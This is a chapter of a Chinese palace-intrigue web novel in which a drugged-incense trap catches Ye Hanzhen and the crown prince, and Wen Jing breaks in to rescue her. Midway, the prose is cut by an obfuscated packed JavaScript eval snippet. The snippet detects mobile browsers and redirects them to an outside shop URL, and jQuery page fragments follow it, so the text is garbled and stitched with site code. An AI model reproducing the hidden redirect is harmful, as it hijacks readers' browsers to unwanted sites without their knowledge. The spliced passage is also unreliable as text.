72. 那我也认了

作品:《闻珠识玉美人泪

    “太子若是冒着大不韪,一力担下罪责,那就证明她肯定是白四小姐,且太子欺辱臣妻,众目睽睽之下,父皇肯定会为了平息沸议,将他重处,这样我就有了重整旗鼓的机会。若太子失口否认,说自己是被人构陷,那父皇定然会将此事掩饰下来。”


    “只是这样一来,那位叶小姐才接下了赐婚圣旨就闹出这件事,怕是今日走不出这宫门了。”


    夏日午后的光,铺满正片御湖,随着湖风扫过,荡开一圈圈水波鳞纹,刺得人眼睛生疼。


    闻景脱力般一手撑着凭栏上,稳住身形,只是内心却如油煎一般,疼得他眼前阵阵发黑。


    没人会比他父亲更在意长随侯府的事。


    若是这信是出自旁人的手,闻景还可以欺骗自己一时半会,但沈俞风说了,这是他父亲亲自送的信,也是他亲自布下的局。


    为什么?为什么?


    她可以是任何人,任何身份,但为什么偏偏是白氏一族的人?


    闻景随后又踉跄着身子往后退了两步,直至靠在梁柱上,才缓缓仰着头,大口喘着气。


    沈俞风知道他心里一时无法接受自己未过门的妻子,会是隔着血海深仇的女子,只得好言相劝道:“不过就是个女子罢了,待此事了了,我再替表哥寻个比这个更貌美的贵女。”


    闻景此刻根本就听不见周遭的任何声响,只记得前不久在御湖里,她伏在自己胸口上,低低哭泣的声音。


    是他父亲,害死了他们一族。如今也是他,害了她一生。


    双拳紧紧攥住,手背上青筋暴起。


    闻景大口喘着气,定定望向还朝自己开解的沈俞风:“我要带她走!”


    “闻景!”


    沈俞风闻言气极,怒吼道:“你疯了不曾?这可是扳倒太子最好的机会,就算你再喜欢她,那也得看她究竟是什么身份吧?难不成,你已经疯到连仇人之女都要维护吗?”


    “你也不想想,为何她那么巧,就被叶孝义送到了你身边?”


    沈俞风的最后一句话,彻底击垮了闻景。


    他低下头,一手捂在心口处,倏然仰头又狂笑起来:“若是她是真的有备而来,那我也认了。若是,她也是被蒙在鼓里的人呢?我是绝不会将她让给沈俞静,她只能是我的妻!”


    闻景说完便要转身离开,却被沈俞风的人团团围住。


    “闻世子请回水榭,奴才们不敢与世子动手。”


    闻景听完,微微侧头道:“殿下,就凭这么几个人,也想拦住我?您是不是也太小瞧我闻景了?”


    就算在宫里动手又如何?


    他闻景可是连命都可以不要,也要救她出火海。


    沈俞风自然知道眼前的这几个人是拦不住闻景的,爽朗大笑道:“好了,让闻世子走吧。”


    “我可从来都没有小看表哥你的本事,我请你来,本来就只是拖延些时间而已,并未真的想过能让他们拦住你。”


    闻景心下暗道一声不好,顾不上与沈俞风多舌,直直越过沈俞风的人,朝抚音殿后殿疾步而去。


    沈俞风仍站在水榭里,笑看着闻景急急离开的背影,将手里的折扇一把展开。


    周围一片气喘吁吁之声,吵得叶含珍只能勉强睁开双眼,却见头顶一片藕色床帐。


    “……含珍,含珍。”


    沈俞静早一踏进这屋子,就知道自己中了计。


    引来他的人,要么是察觉了他对她的心意,要么就是……就是知道了她的秘密。


    无论是哪种,眼下最重要的事,是要喊醒她,让她赶快离开这里。


    沈俞静相信,既然有人设下了这个局,那就定然还会有下一步。


    譬如,当众揭穿他们私下共处一室的丑事。


    叶含珍顺着声音侧面望去,却见沈俞静满面潮红得蜷缩在床尾。她吓得翻身而起,当即就要去扶沈俞静,却被沈俞静一把推倒在地。


    “别靠近我,你、你先去将香炉里的香灭掉。”


    沈俞静忍着浑身的燥意,断断续续朝叶含珍道。他这会浑身发软发热,恐怕是中了迷药,还是离她远一些才好。


    叶含珍不知道他到底怎么了,但也清楚他此刻的不对劲,很快跌跌撞撞爬起来,提着桌案上的茶壶,浇灭了香炉燃烧的香料。


    只是在烟雾彻底消失之前,一股异于蝉蚕香的甜腻气息,蓦然窜入叶含珍鼻间,激得她忍不住弯腰呛咳起来。


    待到呛咳止住,叶含珍才直起腰身,泪眼朦胧道:“太子殿下,这究竟是怎么回事?你怎么会在后殿?”


    后殿是女眷更衣的地方,他怎么会在这里?


    还这副情意涌动的模样?


    这样陌生的沈俞静,让叶含珍不禁有些害怕。


    沈俞静见她看着自己担忧的模样,一口咬在舌尖上,传来的剧痛让他清醒了几分。


    “有人传信与孤,说你被人诱骗在此……”


    沈俞静没有说完,但叶含珍却已经明白他的意思。原来,是有人向他传了假信,骗他来此处救自己。


    “我……”


    叶含珍正想说自己没事,要不要她去找人来帮他,只是话才开了个头,便觉自己也难受起来。


    她抓了抓自己的衣领,只觉有一股火从四肢百骸窜入颅顶,差点让她摔倒在地。


    好在旁边就是系着纱幔的梁柱,便靠着梁柱往地上滑去。


    沈俞静见状便知她也中了招,不由颤声道:“对不住,我原只以为你在这屋子这么久,应当是没有中毒的。”


    “没想到……你一接近那香炉,便也这副样子。”


    “殿下,我、我们不能再在这里待下去,”叶含珍艰涩道,喉中像是含了一口沙子,干涸得紧,“应当是这香炉里的香有问题,若是在待下去,怕是真的就说不清楚了。”


    她眼中的泪,早顺着眼角砸在手背上。整个人,只能拼命将背脊贴在同样燥热的梁柱上,不敢乱动半分。


    此时此刻,叶含珍看着伏趴在地上,大口喘息的沈俞静,脑海里蓦然浮现出一张面庞来。


    是那个人含情脉脉的样子,意乱情迷的样子,还有朝自己狠厉放话的样子。


    叶含珍只觉着自己恐怕是真的疯了,她怎么会在这种危机时刻,想起闻景呢?


    可是,她骗不了自己。


    她这会心里想的,确实是他的一言一笑,一嗔一怒。


    身上的那股邪火,烧得她几乎乱了神智。


    叶含珍噙着一汪眼泪,自嘲得摇了摇头:自己怎么会想到闻景呢?


    明明自己最恨他了,不是吗?


    可是,理智归理智,那药效实在太猛,就像是海里涌来的浪,一股一股顶在她的鼻间,几乎要将她窒息而亡。


    “……闻景,闻景,你在、在哪里?”


    叶含珍只能用尽全力,朝离自己越来越近的身影伸出手。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308534|193891||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    皇帝离开后,并未走远,就被柳贵妃带着人追上,又亲自迎进偏殿。


    这会的偏殿里,正热闹得紧。


    闻景抄着捷径,到底是带着玉泉赶在了皇帝的御驾到来前,进了后殿。


    原本应该在此值守的宫娥内侍,眼下一个都见不着,闻景便知这局,布置的有多缜密。


    只是无论生死,他都得救回她。


    叶含珍看着爬向自己的沈俞静,不停地往后缩着身子。


    可是她早没了力气,直到感觉脚腕已经被人握住时,叶含珍才知此刻她是有多么可笑。


    这一刻的她,竟然会觉着眼前的人,是闻景就好了。


    呼出鼻翼的气息,烫得惊人,简直要将她当做冰鉴里的冰,融化在离自己越来越近的沈俞静手里。


    “……别怕,珍珍,”沈俞静低喘道,“我只是想、想……”


    想什么?


    沈俞静的脑子早就混沌一片,根本理不清自己到底想做什么。


    狠命朝唇下一咬,一股腥气骤然在舌尖上散开。


    这剧痛换来的片刻清明,让沈俞静有了力气,脱下自己的外袍,给衣襟散乱的叶含珍披上。


    “我会保护好你的,”沈俞静殷红的眼角,缓缓向后移动着身躯,“就算是我……也不能伤你一分一毫。”


    他移开的距离,还不足以让叶含珍放下所有戒备。而叶含珍,则紧紧抓着身上宽大的外袍,将自己包裹起来。


    可是体内腾起的那阵酥软,顺着背脊而起,让她浑身止不住得发颤。


    “嘭!”


    屋子里的两人,被这撞门声惊得齐齐朝门口屏风处望去。


    只见一阵光影闪过,那门便又合上。


    “圆圆!”“圆圆!


    闻景一路行来,想过最糟糕的可能。


    他告诉自己,这些都不重要。


    可是当他真的看见叶含珍披着陌生的男子外袍,蜷缩在梁柱下时,心里的那股暴戾恣睢再也压制不住。


    手下动作比脑子还快,一把就将趴在喘着粗气的沈俞静,死死按在了墙上。


    青筋迸发的大手,几乎让沈俞静没有丝毫挣扎的可能。


    跟着闻景进门的玉泉,见沈俞静已经开始翻着眼,只得急急去拉闻景擒在沈俞静脖子上的铁手。


    “主子!快放手啊!”


    玉泉拉了几下,闻景根本丝毫不为所动。


    “……斓清……斓清。”


    叶含珍根本就看不清来人,只能凭着本能,低低唤了一声眼前的人影。


    而闻景却被这一声呼喊,唤得心肠酸软,眼窝发酸。


    松开手里几乎窒息过去的沈俞静,将人随意朝一旁抛开,闻景回身就将几乎要顺着梁柱,躺下去的叶含珍圈在怀里。


    他将额头抵在她布满汗湿碎发的面庞上,纵声大哭起来。


    “……圆圆别怕!我来救你来了。”


    明明被下药的是自己,怎么闻景哭得比自己还伤心?


    来不及细想,身上涌动的情意几乎没法让她思索。


    叶含珍翕动着干裂的唇,有气无力道:“我、我没事,太子殿下他,没有欺负我。他不过是、是将外袍脱给我……你别伤他。”


    “好,我不伤他。”闻景抱着人,连声答应道。


    玉泉扶起已经昏过去的沈俞静,转身朝闻景焦急道:“主子,我们现在该怎么办?”